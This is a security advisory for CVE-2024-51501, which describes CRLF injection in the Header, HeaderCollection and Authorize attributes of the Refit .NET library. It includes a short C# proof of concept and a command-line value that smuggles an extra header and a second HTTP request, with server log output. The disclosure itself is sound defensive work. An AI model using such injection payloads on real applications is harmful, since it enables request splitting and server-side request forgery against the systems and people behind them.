GHSA-3HXG-FXWM-8GF7
Vulnerability from github – Published: 2024-11-04 23:23 – Updated: 2024-11-08 15:19Summary
The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.
This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:
using Refit;
internal class Program
{
private static void Main(string[] args)
{
// Usage: dotnet run <bearer token>
string token = args[0];
var service = RestService.For<IStatusApi>("http://insert.some.site.here");
string response = service.GetStatus(token).Result;
Console.WriteLine($"Response: {response}");
}
public interface IStatusApi
{
[Get("/status")]
Task<string> GetStatus([Authorize("Bearer")] string token);
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"
Impact
If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Refit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51501"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-04T23:23:17Z",
"nvd_published_at": "2024-11-04T23:15:04Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.\n\n### Details\nThe way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: \u003chttps://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328\u003e\nThis method does not check for CRLF characters in the header value.\n\nThis means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.\n\n### PoC\nThe below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the \"Authorization\" header:\n\n```c#\nusing Refit;\n\ninternal class Program\n{\n private static void Main(string[] args)\n {\n // Usage: dotnet run \u003cbearer token\u003e \n string token = args[0];\n var service = RestService.For\u003cIStatusApi\u003e(\"http://insert.some.site.here\");\n string response = service.GetStatus(token).Result;\n Console.WriteLine($\"Response: {response}\");\n }\n\n public interface IStatusApi\n {\n [Get(\"/status\")]\n Task\u003cstring\u003e GetStatus([Authorize(\"Bearer\")] string token);\n }\n}\n```\n\nThis application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):\n\n```bash\nanonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $\u0027test\\r\\nUser-Agent: injected header!\\r\\n\\r\\nGET /smuggled HTTP/1.1\\r\\nHost: insert.some.site.here\u0027\nResponse: \u003chtml\u003e\u003c/html\u003e\n```\n\nThe application intends to send a single request of the form:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer \u003cbearer token\u003e\n```\nBut as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:\n```http\nGET /status HTTP/1.1\nHost: insert.some.site.here\nAuthorization: Bearer test\nUser-Agent: injected header!\n```\nand\n```http\nGET /smuggled HTTP/1.1\nHost: insert.some.site.here\n```\n\nThis can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost):\n```bash\nanonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /status HTTP/1.1\" 200 240 \"-\" \"injected header!\"\n127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] \"GET /smuggled HTTP/1.1\" 404 436 \"-\" \"-\"\n```\n\n### Impact\nIf an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.\n\nStrictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.\n\n",
"id": "GHSA-3hxg-fxwm-8gf7",
"modified": "2024-11-08T15:19:17Z",
"published": "2024-11-04T23:23:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51501"
},
{
"type": "WEB",
"url": "https://github.com/reactiveui/refit/commit/483b1d8df18098f137ca0eca056b7e9ec19f70dd"
},
{
"type": "PACKAGE",
"url": "https://github.com/reactiveui/refit"
},
{
"type": "WEB",
"url": "https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "CRLF injection in Refit\u0027s [Header], [HeaderCollection] and [Authorize] attributes "
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.